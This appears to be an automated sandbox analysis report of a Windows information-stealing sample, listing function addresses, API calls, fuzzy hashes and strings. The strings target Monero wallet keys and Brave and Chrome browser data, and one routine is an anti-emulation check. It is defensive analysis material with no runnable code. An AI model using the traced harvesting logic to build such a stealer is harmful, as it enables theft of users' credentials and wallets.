Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: a0a19a80e2c520b547313a1974e52b5ffb98d559608b474e7b96f9c7c82a13b0
Instruction ID: 86f7068667c8598e858177bf070a893a74939b6e35ced37968ed7f05ff13b595
Opcode Fuzzy Hash: a0a19a80e2c520b547313a1974e52b5ffb98d559608b474e7b96f9c7c82a13b0
Instruction Fuzzy Hash: 6011F830900108ABCB19FB60D952FED7378AF70304F804158F80A4A592EF34EB05CA92

Function 001C78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 001C7910
RtlAllocateHeap.NTDLL(00000000), ref: 001C7917
GetComputerNameA.KERNEL32(?,00000104), ref: 001C792F

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 18737637da67ad1624195fd3372e743f1c9f3f61ec17945d3b987c45ebd13fcf
Instruction ID: 1d41544d068af844199f17cbd6e5f17bcfc9591f7d1bdd872a7251f069e38635
Opcode Fuzzy Hash: 18737637da67ad1624195fd3372e743f1c9f3f61ec17945d3b987c45ebd13fcf
Instruction Fuzzy Hash: 310162B1904604EFC704DF94DD45FAABBBCF704B65F10421AE545A3280C3B49900CBA2

Function 001B1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 001B112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 001B1132
ExitProcess.KERNEL32 ref: 001B1143

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 1e8285f301004f9a7b0c986b8cbfc25b6162d5193202ab22beb4e989b5c0d220
Instruction ID: 75edb6e8398d8d1c86a7c84de6de9271082444b8f7c4858252be2ff6a74300ba
Opcode Fuzzy Hash: 1e8285f301004f9a7b0c986b8cbfc25b6162d5193202ab22beb4e989b5c0d220
Instruction Fuzzy Hash: 70E08CB0A85308FBE710ABA0DC0AB587ABCAB04B42F500044F70CBA1C0C7F42A00DA9A

Function 001B10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 001B10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 001B10F7

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 1934e8898fba9cf009023f80155ecb53fc96e08a3e1d5dcaa1038b5d274d1535
Instruction ID: 75d32ffe8038d3373813f5448de90ad504deee5f9735d6bc82e0479dfdb0aca8
Opcode Fuzzy Hash: 1934e8898fba9cf009023f80155ecb53fc96e08a3e1d5dcaa1038b5d274d1535
Instruction Fuzzy Hash: 01F0E2B1641308BBE714AAA4AC59FBAB7ECE705B15F300448F508E3280D672AE00CAA0

Function 001B1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 001C78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 001C7910
Part of subcall function 001C78E0: RtlAllocateHeap.NTDLL(00000000), ref: 001C7917
Part of subcall function 001C78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 001C792F

Part of subcall function 001C7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001B11B7), ref: 001C7880
Part of subcall function 001C7850: RtlAllocateHeap.NTDLL(00000000), ref: 001C7887
Part of subcall function 001C7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 001C789F

ExitProcess.KERNEL32 ref: 001B11C6

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 60f9e815a73071303e971ec1aef37124d07241475063e7c3d2cab9ad539929a2
Instruction ID: 6c8932885bc3644c2d554d1253824a6e1c16262059f104b9dc01a152ccc64fa2
Opcode Fuzzy Hash: 60f9e815a73071303e971ec1aef37124d07241475063e7c3d2cab9ad539929a2
Instruction Fuzzy Hash: 72E012F591470163DA0073B5AC5AF3A329C5B34745F04082CFA0DD7142FB65F804C966

Non-executed Functions

Function 001C38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001C38CC
FindFirstFileA.KERNEL32(?,?), ref: 001C38E3
lstrcat.KERNEL32(?,?), ref: 001C3935
StrCmpCA.SHLWAPI(?,001D0F70), ref: 001C3947
StrCmpCA.SHLWAPI(?,001D0F74), ref: 001C395D
FindNextFileA.KERNEL32(000000FF,?), ref: 001C3C67
FindClose.KERNEL32(000000FF), ref: 001C3C7C

Strings

%s%s, xrefs: 001C3AAD
%s\%s, xrefs: 001C3A6F
%s\%s\%s, xrefs: 001C3A4A
%s\%s, xrefs: 001C397A
%s\*, xrefs: 001C38C0

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 3d1e71b320d00a2194c7115195cd400e1f91545b0e2961e25fbc6e8ff4c21862
Instruction ID: 0a253a50c1dbffd8551db87b4331b8c5751dbdff24ceb928cd0a15b3896927ca
Opcode Fuzzy Hash: 3d1e71b320d00a2194c7115195cd400e1f91545b0e2961e25fbc6e8ff4c21862
Instruction Fuzzy Hash: B0A12EB1A00218ABDB25EBA4DC85FFE737CBB98300F44858DE51D96141EB759B84CF62

Function 001C4910 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001C492C
FindFirstFileA.KERNEL32(?,?), ref: 001C4943
StrCmpCA.SHLWAPI(?,001D0FDC), ref: 001C4971
StrCmpCA.SHLWAPI(?,001D0FE0), ref: 001C4987
FindNextFileA.KERNEL32(000000FF,?), ref: 001C4B7D
FindClose.KERNEL32(000000FF), ref: 001C4B92

Strings

%s\%s, xrefs: 001C49A4
%s\*, xrefs: 001C4920
%s\%s, xrefs: 001C49FB
8, xrefs: 001C4A3D

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*$8
API String ID: 180737720-308424086
Opcode ID: 3bf9e4bfd667d8e2afe8a14f41dcb58105d5d2142a447625b3c1104733fb4cd1
Instruction ID: 55f2d787f77ae10d70d29b06f272570b1c94bb6cb026af8fc2b05d8e097589b5
Opcode Fuzzy Hash: 3bf9e4bfd667d8e2afe8a14f41dcb58105d5d2142a447625b3c1104733fb4cd1
Instruction Fuzzy Hash: CE6141B2900618ABCB25EBA0DC59FFA777CBB58701F04458CE50D96141EB71EB89CFA1

Function 001BBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

FindFirstFileA.KERNEL32(00000000,?,001D0B32,001D0B2B,00000000,?,?,?,001D13F4,001D0B2A), ref: 001BBEF5
StrCmpCA.SHLWAPI(?,001D13F8), ref: 001BBF4D
StrCmpCA.SHLWAPI(?,001D13FC), ref: 001BBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 001BC7BF
FindClose.KERNEL32(000000FF), ref: 001BC7D1

Strings

Google Chrome, xrefs: 001BC634
Brave, xrefs: 001BC102
Preferences, xrefs: 001BC11E
\Brave\Preferences, xrefs: 001BC1DB

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 32a07f08459d25d321fb854cd1b94c72496f3b0f95733fc5861b4ecc9ddabed7
Instruction ID: 26e30c70c19e3f890d6b0b4692e593af8179f654434b7eef39baf69411738110
Opcode Fuzzy Hash: 32a07f08459d25d321fb854cd1b94c72496f3b0f95733fc5861b4ecc9ddabed7
Instruction Fuzzy Hash: 2B421072910108ABCB15FBA0DD96EED737DAF74304F80455CF50A96191EF34EA49CBA2

Function 001C4570 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 001C4580
RtlAllocateHeap.NTDLL(00000000), ref: 001C4587
wsprintfA.USER32 ref: 001C45A6
FindFirstFileA.KERNEL32(?,?), ref: 001C45BD
StrCmpCA.SHLWAPI(?,001D0FC4), ref: 001C45EB
StrCmpCA.SHLWAPI(?,001D0FC8), ref: 001C4601
FindNextFileA.KERNEL32(000000FF,?), ref: 001C468B
FindClose.KERNEL32(000000FF), ref: 001C46A0
lstrcat.KERNEL32(?,00EEE438), ref: 001C46C5
lstrcat.KERNEL32(?,00EED640), ref: 001C46D8
lstrlen.KERNEL32(?), ref: 001C46E5
lstrlen.KERNEL32(?), ref: 001C46F6

Strings

%s\%s, xrefs: 001C461B
%s\*, xrefs: 001C459A
8, xrefs: 001C46B7

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$8
API String ID: 671575355-2210567263
Opcode ID: 949959c0512bb487512ac6cf426b5ff82c428823a85e3a99d17f9a8ee8fe359e
Instruction ID: 11b0103d9217e59c698a822facb9a3ee602f11be85ddd99d099d41390ee0d831
Opcode Fuzzy Hash: 949959c0512bb487512ac6cf426b5ff82c428823a85e3a99d17f9a8ee8fe359e
Instruction Fuzzy Hash: FB5144B2540218ABC725EBB0DC99FF9777CAB68700F404588F60D96190EB75DB84CFA2

Function 001C3EA0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001C3EC3
FindFirstFileA.KERNEL32(?,?), ref: 001C3EDA
StrCmpCA.SHLWAPI(?,001D0FAC), ref: 001C3F08
StrCmpCA.SHLWAPI(?,001D0FB0), ref: 001C3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 001C406C
FindClose.KERNEL32(000000FF), ref: 001C4081

Strings

%s\%s, xrefs: 001C3EB7
8, xrefs: 001C3F4F

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$8
API String ID: 180737720-3893450896
Opcode ID: dc4c48b083d717f6f996fbd0cfc4a9761a6923be16b9ca9fca2b4d2dba0b6e2a
Instruction ID: 0d3ac7b946bfaaca42c63d7ab5a53a10850950e810a6d9aca1a80b5107c3b576
Opcode Fuzzy Hash: dc4c48b083d717f6f996fbd0cfc4a9761a6923be16b9ca9fca2b4d2dba0b6e2a
Instruction Fuzzy Hash: DC5130B2900618ABCB25EBA0DC85FFA737CBB68300F40458CB65D96040DB75DB85CFA1

Function 001BED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 001BED3E
FindFirstFileA.KERNEL32(?,?), ref: 001BED55
StrCmpCA.SHLWAPI(?,001D1538), ref: 001BEDAB
StrCmpCA.SHLWAPI(?,001D153C), ref: 001BEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 001BF2AE
FindClose.KERNEL32(000000FF), ref: 001BF2C3

Strings

%s\*.*, xrefs: 001BED32

Memory Dump Source

Source File: 00000000.00000002.2069756680.00000000001B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000000.00000002.2069729553.00000000001B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000261000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.000000000026D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.0000000000292000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069756680.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000040E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000059D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2069952996.00000000006B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2073760170.00000000006B7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2074518214.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 433e6ac9139e19aa528c09b12cc028784d1ca9ba36e8693b34f6e3fde3a09bfd
Instruction ID: 63ce4d29cf81aca99e85008fcc2faf0f71e7f0dfaf67febb93e31f160df8a2cc
Opcode Fuzzy Hash: 433e6ac9139e19aa528c09b12cc028784d1ca9ba36e8693b34f6e3fde3a09bfd
Instruction Fuzzy Hash: EDE19A7191111CAADB56EB60DC52FEE7378AF74305F80459DB50A62092EF30AF8ACF52

Function 001BF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 001CA740: lstrcpy.KERNEL32(001D0E17,00000000), ref: 001CA788

Part of subcall function 001CA920: lstrcpy.KERNEL32(00000000,?), ref: 001CA972
Part of subcall function 001CA920: lstrcat.KERNEL32(00000000), ref: 001CA982

Part of subcall function 001CA9B0: lstrlen.KERNEL32(?,00EE87F8,?,\Monero\wallet.keys,001D0E17), ref: 001CA9C5
Part of subcall function 001CA9B0: lstrcpy.KERNEL32(00000000), ref: 001CAA04
Part of subcall function 001CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 001CAA12

Part of subcall function 001CA8A0: lstrcpy.KERNEL32(?,001D0E17), ref: 001CA905

